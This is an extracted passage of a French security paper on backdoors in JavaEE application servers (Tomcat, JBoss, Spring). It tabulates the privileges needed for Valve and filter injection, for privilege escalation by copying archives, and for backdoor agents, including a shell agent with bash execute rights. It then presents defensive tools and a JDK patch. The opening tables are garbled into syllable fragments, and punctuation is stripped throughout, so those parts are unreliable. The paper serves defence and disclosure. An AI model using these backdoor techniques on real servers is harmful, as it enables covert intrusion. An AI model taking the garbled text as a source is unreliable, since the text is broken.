Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
